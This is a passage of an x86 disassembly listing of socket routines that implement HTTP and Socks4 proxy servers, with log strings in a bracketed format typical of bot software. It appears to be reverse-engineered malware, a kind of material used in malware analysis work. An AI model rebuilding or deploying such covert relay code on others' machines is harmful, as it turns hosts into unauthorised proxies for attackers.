		jz	short loc_42A5B4
		mov	ecx, [ebp+0BFh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BFh], esi


loc_42A5B4:				; CODE XREF: ___:0042A59Fj
					; ___:0042A805j
		mov	ecx, [esp+5498h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42A5CD:				; CODE XREF: ___:004299BAj
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226


loc_42A5DE:				; CODE XREF: ___:00429987j
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226


loc_42A5EF:				; CODE XREF: ___:00429741j
					; ___:0042975Aj ...
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226


loc_42A600:				; CODE XREF: ___:00429635j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A629:				; CODE XREF: ___:00429AB3j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A63B:				; CODE XREF: ___:00429BF4j
		lea	ecx, [esp+0CDh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+18h]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A698:				; CODE XREF: ___:00429C10j
		mov	edx, [esp+10Ch]
		lea	ecx, [esp+0CDh]
		push	edx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+1Ch]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A6E2:				; CODE XREF: ___:00429CC1j
					; ___:00429CC9j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A6FD:				; CODE XREF: ___:00429B9Ej
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A70F:				; CODE XREF: ___:00429CEFj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		or	esi, 0FFFFFFFFh
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: ___:0042A2F5j
					; ___:0042A2FDj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_42A798:				; CODE XREF: ___:0042A693j
					; ___:0042A6F8j
		call	esi	; closesocket


loc_42A79A:				; CODE XREF: ___:0042A636j
					; ___:0042A70Aj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		jmp	loc_42A5B4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ACB0	proc near		; CODE XREF: sub_4018EDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42ACB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F15C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42ACB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AD20:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402126
		test	byte ptr [esp+8], 1
		jz	short loc_42AD38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AD38:				; CODE XREF: ___:0042AD2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD50	proc near		; CODE XREF: sub_402126j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43F15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AD6B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42AD6B:				; CODE XREF: sub_42AD50+12j
		mov	ecx, esi
		call	sub_4017A8
		pop	esi
		retn
sub_42AD50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD90	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AD90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_42ADB3:				; CODE XREF: sub_42AD90+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42ADDA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_42ADB3


loc_42ADDA:				; CODE XREF: sub_42AD90+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42AEAC
		push	ebp
		push	esi


loc_42ADF0:				; CODE XREF: sub_42AD90+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42AE8B
		test	ebp, ebp
		jz	short loc_42AE8B
		push	0C3h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_42AE36
		mov	ecx, eax
		call	sub_401893
		mov	esi, eax
		jmp	short loc_42AE38
; ---------------------------------------------------------------------------


loc_42AE36:				; CODE XREF: sub_42AD90+99j
		xor	esi, esi


loc_42AE38:				; CODE XREF: sub_42AD90+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FDC
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013DE
		jmp	short loc_42AE96
; ---------------------------------------------------------------------------


loc_42AE8B:				; CODE XREF: sub_42AD90+74j
					; sub_42AD90+7Cj
		push	0FAh
		nop
		call	near ptr 2821DE2h


loc_42AE96:				; CODE XREF: sub_42AD90+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_42ADF0
		pop	esi
		pop	ebp


loc_42AEAC:				; CODE XREF: sub_42AD90+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AEBE
		push	edi
		nop
		call	near ptr 71AB9639h


loc_42AEBE:				; CODE XREF: sub_42AD90+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AD90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF20	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_42AF48
		call	sub_4017EE
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_42AF53
; ---------------------------------------------------------------------------


loc_42AF48:				; CODE XREF: sub_42AF20+19j
		call	sub_4017EE
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_42AF53:				; CODE XREF: sub_42AF20+26j
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AF20	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFF0	proc near		; CODE XREF: sub_40213Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AFF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F16C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AFF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B060:				; CODE XREF: ___:0040187Fj
					; ___:loc_401B18j
		push	esi
		mov	esi, ecx
		call	sub_401FA5
		test	byte ptr [esp+8], 1
		jz	short loc_42B078
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B078:				; CODE XREF: ___:0042B06Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B090	proc near		; CODE XREF: sub_401FA5j
		jmp	sub_4017A8
sub_42B090	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0B0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_511CA4
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B0F1
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B0F1:				; CODE XREF: sub_42B0B0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42B2DC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B12E
		mov	edx, [ebp+0A1h]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B0B0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42B2DC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_42B1C9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B1C9:				; CODE XREF: sub_42B0B0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_511CAC
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_42B226:				; CODE XREF: sub_42B0B0+1AFj
					; sub_42B0B0+1FEj ...
		mov	edi, dword_511CA4
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_42B2CA
		jge	short loc_42B261
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_42B261
		push	0Ah
		nop
		call	near ptr 2821DE2h
		jmp	short loc_42B226
; ---------------------------------------------------------------------------


loc_42B261:				; CODE XREF: sub_42B0B0+198j
					; sub_42B0B0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B2CA
		jge	short loc_42B2B3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B2B3
		push	0Ah
		nop
		call	near ptr 2821DE2h
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2B3:				; CODE XREF: sub_42B0B0+1E7j
					; sub_42B0B0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2CA:				; CODE XREF: sub_42B0B0+192j
					; sub_42B0B0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_42B2DC:				; CODE XREF: sub_42B0B0+46j
					; sub_42B0B0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_42B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B380	proc near		; CODE XREF: sub_40218Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B380
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F17C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3F0	proc near		; CODE XREF: ___:00401032j sub_4017B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C4E
		test	[esp+4+arg_0], 1
		jz	short loc_42B408
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B408:				; CODE XREF: sub_42B3F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B420	proc near		; CODE XREF: sub_401C4Ej
		jmp	sub_4017A8
sub_42B420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B440	proc near		; CODE XREF: sub_40189Dj

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B440
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017EE
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42B649
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B516
		mov	ecx, [esi+9Dh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B516:				; CODE XREF: sub_42B440+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B600


loc_42B52C:				; CODE XREF: sub_42B440+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42B550
		push	0FAh
		nop
		call	near ptr 2821DE2h
		jmp	loc_42B5EC
; ---------------------------------------------------------------------------


loc_42B550:				; CODE XREF: sub_42B440+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42B600
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42B600
		push	0A5h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B59E
		mov	ecx, eax
		call	sub_40213A
		mov	edi, eax


loc_42B59E:				; CODE XREF: sub_42B440+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42B5EC:				; CODE XREF: sub_42B440+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B52C


loc_42B600:				; CODE XREF: sub_42B440+E6j
					; sub_42B440+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42B614
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B614:				; CODE XREF: sub_42B440+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_42B649:				; CODE XREF: sub_42B440+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B440	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6F0	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42B711
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42B711:				; CODE XREF: sub_42B6F0+Dj
		xor	al, al
		retn	8
sub_42B6F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B730	proc near		; CODE XREF: sub_4020E0j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42B751:				; CODE XREF: sub_42B730+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B76A:				; CODE XREF: sub_42B730+45j
		cmp	[ecx], ebx
		jz	short loc_42B777
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B76A


loc_42B777:				; CODE XREF: sub_42B730+3Cj
		cmp	eax, 1
		jnz	short loc_42B788
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42B788:				; CODE XREF: sub_42B730+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42B813
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B813
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42B7BC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42B7BE
; ---------------------------------------------------------------------------


loc_42B7BC:				; CODE XREF: sub_42B730+84j
		mov	eax, ebx


loc_42B7BE:				; CODE XREF: sub_42B730+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42B862
		test	edi, edi
		jz	short loc_42B862
		jbe	short loc_42B80C


loc_42B7EB:				; CODE XREF: sub_42B730+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		call	near ptr 71AB428Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B862
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42B7EB


loc_42B80C:				; CODE XREF: sub_42B730+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42B813:				; CODE XREF: sub_42B730+70j
					; sub_42B730+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B825:				; CODE XREF: sub_42B730+100j
		cmp	[ecx], ebx
		jz	short loc_42B832
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B825


loc_42B832:				; CODE XREF: sub_42B730+F7j
		cmp	eax, 1
		jnz	short loc_42B844
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42B844:				; CODE XREF: sub_42B730+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42B751


loc_42B862:				; CODE XREF: sub_42B730+B3j
					; sub_42B730+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42B730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B8E0	proc near		; CODE XREF: sub_401C30j

